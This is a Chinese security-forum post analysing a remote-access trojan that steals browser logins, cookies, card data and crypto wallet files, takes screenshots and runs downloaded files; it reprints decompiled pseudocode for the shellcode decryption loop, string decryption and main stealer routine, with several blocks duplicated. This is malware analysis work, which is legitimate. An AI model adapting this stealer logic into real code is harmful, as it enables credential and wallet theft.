首页
社区
课程
招聘
[原创]trojan病毒分析
发表于: 2024-10-9 21:43 2980

[原创]trojan病毒分析

2024-10-9 21:43
2980

样本来自https://www.52pojie.cn/forum.php?mod=viewthread&tid=1822151&extra=page%3D2%26filter%3Dauthor%26orderby%3Ddateline
该样本属于远控型病毒(trojan家族),上述文档已有分析,本文细化该病毒的加解密流程和执行流程

病毒主函数逻辑如下

47行之前,是初始化部分,形如ServerIP、Content-Type等病毒所用到的字符串都是解密后初始化的,MathineID是通过注册表查询的、UserName是通过API获取的,并且还判断了SID,如果SID是LocalSystem级别复制Explorer.exe的Token并用Token创建Explorer进程

84行之前,将mathineID和用户名以及configID连接起来,通过http发送到Server,并且设置了病毒当前目录

利用SHGetSpecialFolderPath函数分别遍历路径标识为0x1C,0x1A的文件夹,筛选local_state目录,从中查询login、Cookie、AutoFill、CredCard等信息,然后所有信息拼接,发送给Server(筛选的文件中包含"encrypt_key"和"status_version"字段才会被用sqlite3库解析上述信息)

利用SHGetSpecialFolderPath函数得到路径标识为0x1A的文件夹,然后遍历其下profile目录下的文件,用NSS3.dll解析登录、cookie、FormHistory等信息然后发送Server

利用SHGetSpecialFolderPath函数得到指定路径标识的文件夹,路径标识通过解析响应数据获取,然后选出该目录下符合条件的文件(条件也是解析响应数据获得),复制文件,将复制文件名,文件句柄,备注信息发送到Server,备注信息中有wallet字样,推测目的可能是获取wallet信息

利用GetLogicalDriveStringsW函数得到盘符,然后获取盘符下的wallet.dat文件,复制文件,将复制文件名,文件句柄,备注信息(盘名称、盘类型等)发送到Server

枚举盘符下的文件,筛选文件的条件,解析响应数据获得,将符合条件的文件复制,将复制文件名,文件句柄,备注信息(盘名称、盘类型等)发送到Server

EnumSystemFileAndSearchSpecifiedFileInfoToSend、
EnumSystemFileAndSearchSpecifiedFileInfoToSend2、
EnumSystemFileAndSearchSpecifiedFileInfoToSend3
利用SHGetSpecialFolderPath函数遍历路径标识为0x1A的文件夹,同样筛选文件的条件,解析响应数据获得,将符合条件的文件复制,将复制文件名,文件句柄,备注信息(盘名称、盘类型等)发送到Server

BitBltAndSendServer通过GDI库将屏幕视图保持到文件中,发到Server

文件名及后缀需要解析响应数据获得,下载文件到当前目录(AppDataLow)后,ShellExecute执行该文件

申请shellcode堆内存,并修改保护属性
解密、执行shellcode
shellcode申请堆内存,并在堆中构造病毒PE,最终覆盖到主模块基址
跳转到新PE入口点,解密病毒执行所需各种资源,最终执行病毒逻辑
申请shellcode堆内存,并修改保护属性
解密、执行shellcode
shellcode申请堆内存,并在堆中构造病毒PE,最终覆盖到主模块基址
跳转到新PE入口点,解密病毒执行所需各种资源,最终执行病毒逻辑
加密后的shellcode代码位于.data节,拷贝到堆内存后,执行解密
解密逻辑为每次解密8字节,低四字节记为low,高四字节记为high
加密后的shellcode代码位于.data节,拷贝到堆内存后,执行解密
解密逻辑为每次解密8字节,低四字节记为low,高四字节记为high
插入代码
```ULONG beta=0xC6EF3720;
   ULONG low=0,high=0;
for(int k=0;k<(shellcodeSize>>3);k++){
    PULONG ptr=(PULONG)(shellcodebuf+k*8);
    low=ptr[0];
    high=ptr[1];
    for(int i=0;i<0x20;++i){
        ULONG v4=low>>5;
        ULONG v6=16*low+g_425760;
        v6^=(low+beta) 
        high-=(v6^(g_425764+v4));
        low-=((high+beta)^(g_42575c+(high>>5))^(g_425758+16*high))
        beta-=0x9E3779B9;
    }
    ptr[0]=low;
    ptr[1]=high;
}
插入代码
```ULONG beta=0xC6EF3720;
   ULONG low=0,high=0;
for(int k=0;k<(shellcodeSize>>3);k++){
    PULONG ptr=(PULONG)(shellcodebuf+k*8);
    low=ptr[0];
    high=ptr[1];
    for(int i=0;i<0x20;++i){
        ULONG v4=low>>5;
        ULONG v6=16*low+g_425760;
        v6^=(low+beta) 
        high-=(v6^(g_425764+v4));
        low-=((high+beta)^(g_42575c+(high>>5))^(g_425758+16*high))
        beta-=0x9E3779B9;
    }
    ptr[0]=low;
    ptr[1]=high;
}
病毒发送http请求所用的content-Type、Accept-Type,以及函数、dll的字符串等是加密过的,在跳转到病毒PE入口点,执行病毒初始化过程中解密
解密函数 char* 00412388(char* ciphertext,char*salt,int count);
病毒发送http请求所用的content-Type、Accept-Type,以及函数、dll的字符串等是加密过的,在跳转到病毒PE入口点,执行病毒初始化过程中解密
解密函数 char* 00412388(char* ciphertext,char*salt,int count);
插入代码
```plaintextBuf=localAlloc();
for(int i=0;i<count;++i){
   plaintextBuf[i]=ciphertext[i%strlen(ciphertext)]^salt[i];
}
return plaintextBuf;
插入代码
```plaintextBuf=localAlloc();
for(int i=0;i<count;++i){
   plaintextBuf[i]=ciphertext[i%strlen(ciphertext)]^salt[i];
}
return plaintextBuf;
插入代码
```void main(){
CoInitialize(0);
  Init(); //执行病毒所需资源的解密
  if ( !sub_41300C() )
  {
    ExitProcess(0xE4u);
  }
  szConfigIDValue = sub_415a13();                                       
  sub_4048DB();
  if ( IsLocalSystemSID() )
    CreateExplorerProcessWithDuplicatedToken();
  szServerAddr = loc_4127FD)();
 
  szContentType = dword_41D3B4;                      
  
  lpszAcceptTypes = (LPCWSTR)dword_41D224; 
   
  
  pContentTypeBuf = (HLOCAL)sub_410533(szContentType, 1);
  
  pMachineIDBuf = (PWSTR)LocalAlloc_0(0x40u, 0x1000u);
   
  v5 = (WCHAR *)LocalAlloc_0(0x40u, 0x618u);
   
  v6 = (const WCHAR *)QueryMachineIDByRegedit();
   
  v7 = (const WCHAR *)GetUserName();
   
  v5 = StrCpyW(v5, dword_41D3F8);              
   
  v5 = (const WCHAR *)concat(v5, v6);   // 拼接machineID值
  
  v5= (const WCHAR *)concat(v5, "|");
   
  v5 = (const WCHAR *)concat(v5, v7);           //拼接用户名
  v5 = (const WCHAR *)concat(v5, dword_41D3A4);// 拼接"configId="
   
  v5 = (WCHAR *)concat(v5, (LPCWSTR)szConfigIDValue);// 拼接configId值
   
  pMachineIDBuf= StrCpyW(pMachineIDBuf, v5);
   
  LocalFree(v5);
  v41 = (PWSTR)LocalAlloc_0(0x40u, 0x800u);
   
  reTry=0
  while ( 1 )
  {
    wszServerAddr = fnMultiByteToWideChar(szServerAddr);// 将网址多字节变为宽字节
    
    v14 = lstrlenW(szServerAddr);
    if ( wszServerAddr[v14 - 1] != 47 )              // 判断是不是“/"结尾
      wszServerAddr = (LPCWSTR)concat(wszServerAddr, dword_41D27C);// 网址和“/"拼接
    pszResp = (LPCWSTR)SendMessage(wszServerAddr,1,pMachineIDBuf, (LPCWSTR)pContentTypeBuf, lpszAcceptTypes);
    if ( lstrlenW( pszResp ) >= 64 )
      break;
    
    LocalFree((HLOCAL)wszServerAddr);
    if ( !pszResp )
      LocalFree(0);
    reTry++;
    
    if ( reTry >= 5 )
      goto LABEL_14;
  }
  v41 = StrCpyW(v41, wszServerAddr);
  LocalFree((HLOCAL)wszServerAddr);
LABEL_14:
  LocalFree(pContentTypeBuf);
  LocalFree(pMachineIDBuf);
  pszAppDataPath = (PCWSTR)LocalAlloc_0(0x40u, 0x208u);
  
  GetAppDataPath(pszAppDataPath);
  if ( pszResp )
  {
    LoadDllFromServer(pszResp,pszAppDataPath);
    pStart= 0;
     
    pszToken = StrStrW(pszResp, "token:");// //token
    if ( !pszToken )
    {
      ExitProcess(0xFFFFFFFF);
    }
     
    pStart = (PWSTR)(((_BYTE *)pszToken - (_BYTE *)pszResp) >> 1);
    v39 = LocalAlloc_0(0x40u, 0x100u);
     
                   
    v16 = lstrlenW(pszResp);
    if ( !memcpy(v39,pStart + 3, v16) )
      ExitProcess(0xFFFFFFFE);
    v41 = (PWSTR)concat(v41, (LPCWSTR)v39);
    
    LocalFree(v39);
    v17 = (WCHAR *)LocalAlloc_0(0x40u, 0x208u);
    v18 = StrCpyW(v17, pszAppDataPath);
    v19 = (const WCHAR *)concat(v18,"\"); // "\"
    szNss3DllPath = (PWSTR)concat(v19, dword_41D42C);
     
    v20 = (WCHAR *)LocalAlloc_0(0x40u, 0x208u);
    v21 = StrCpyW(v20, pszAppDataPath);
    v22 = (const WCHAR *)concat(v21, "\");
    szSqlite3DllPath = concat(v22, dword_41D550);  
    
    SetCurrentDirectoryW(pszAppDataPath);  // AppData\LOcalLOw为当前路径
     
    v23 = (WCHAR *)LocalAlloc_0(0x40u, 0x5000u);
    GetEnvironmentVariableW(lpName, v23, 0x2800u);// lpName:Path 环境变量名Path
    v24 = (const WCHAR *)concat(v23, ";"); // 环境变量拼接;
    v25 = (WCHAR *)concat(v24, pszAppDataPath);           // 将当前路径添加到环境变量
    SetEnvironmentVariableW(lpName, v25);
     
    LocalFree(v25);
    v26 = v41;
    SendSystemInfoToServer(pszResp, v41);          
    pSqlite3DllBase = LoadLibraryW((LPCWSTR)szSqlite3DllPath);//加载sqlite3.dll
    
    
    if (  pSqlite3DllBase)
      EnumFileAndQueryInfoToSend(pszResp, v26);
       
    pNss3DllBase = LoadLibraryW(szNss3DllPath );
    if ( pNss3DllBase  )
      EnumFileAndQueryInfoToSend2(pNss3DllBase );
    GetWalletInfoAndSend(pszResp,v26);
    GetWalletDat((int)pszResp, (int)v26);
    EnumDriveAndSearchSpecifiedFileInfoToSend(pszResp,v26);
    EnumSystemFileAndSearchSpecifiedFileInfoToSend(pszResp, v26);                       // 枚举文件
    EnumSystemFileAndSearchSpecifiedFileInfoToSend2(pszResp,v26);                            // 枚举文件
    EnumSystemFileAndSearchSpecifiedFileInfoToSend3(pszResp, v26);
     
    v30 = lstrlenW(pszResp);
    v38 = LocalAlloc_0(0x40u, 2 * v30);
    if ( IsBitBlt(pszResp, (int)&v38) > 0 )
      BitBltAndSendServer((LPCWSTR)v38, v26);
    LocalFree(v38);
    ExecuteShell(pszResp);
     
    if ( pNss3DllBase )
      FreeLibrary(pNss3DllBase);
    DeleteFileW(szNss3DllPath);
    LocalFree(szNss3DllPath);
     
    if ( pSqlite3DllBase )
      FreeLibrary(pSqlite3DllBase);
    DeleteFileW((LPCWSTR)szSqlite3DllPath);
    LocalFree(szSqlite3DllPath);
     
    LocalFree(pszResp);
  }
  else
  {
    v26 = v41;
  }
  LocalFree((HLOCAL)pszAppDataPath);
  LocalFree(v26);
  ExitProcess(0);
}
插入代码
```void main(){
CoInitialize(0);
  Init(); //执行病毒所需资源的解密
  if ( !sub_41300C() )
  {
    ExitProcess(0xE4u);
  }
  szConfigIDValue = sub_415a13();                                       
  sub_4048DB();
  if ( IsLocalSystemSID() )
    CreateExplorerProcessWithDuplicatedToken();
  szServerAddr = loc_4127FD)();
 
  szContentType = dword_41D3B4;                      
  
  lpszAcceptTypes = (LPCWSTR)dword_41D224; 
   
  
  pContentTypeBuf = (HLOCAL)sub_410533(szContentType, 1);
  
  pMachineIDBuf = (PWSTR)LocalAlloc_0(0x40u, 0x1000u);
   
  v5 = (WCHAR *)LocalAlloc_0(0x40u, 0x618u);
   
  v6 = (const WCHAR *)QueryMachineIDByRegedit();
   
  v7 = (const WCHAR *)GetUserName();
   
  v5 = StrCpyW(v5, dword_41D3F8);              
   
  v5 = (const WCHAR *)concat(v5, v6);   // 拼接machineID值
  
  v5= (const WCHAR *)concat(v5, "|");
   
  v5 = (const WCHAR *)concat(v5, v7);           //拼接用户名
  v5 = (const WCHAR *)concat(v5, dword_41D3A4);// 拼接"configId="
   
  v5 = (WCHAR *)concat(v5, (LPCWSTR)szConfigIDValue);// 拼接configId值
   
  pMachineIDBuf= StrCpyW(pMachineIDBuf, v5);
   
  LocalFree(v5);
  v41 = (PWSTR)LocalAlloc_0(0x40u, 0x800u);
   
  reTry=0
  while ( 1 )
  {
    wszServerAddr = fnMultiByteToWideChar(szServerAddr);// 将网址多字节变为宽字节
    
    v14 = lstrlenW(szServerAddr);
    if ( wszServerAddr[v14 - 1] != 47 )              // 判断是不是“/"结尾
      wszServerAddr = (LPCWSTR)concat(wszServerAddr, dword_41D27C);// 网址和“/"拼接
    pszResp = (LPCWSTR)SendMessage(wszServerAddr,1,pMachineIDBuf, (LPCWSTR)pContentTypeBuf, lpszAcceptTypes);
    if ( lstrlenW( pszResp ) >= 64 )
      break;
    

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2024-10-9 21:46 被mb_jonavsjj编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 3188
活跃值: (5404)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
这个思路真不错!
2024-10-10 01:58
0
游客
登录 | 注册 方可回帖
返回
//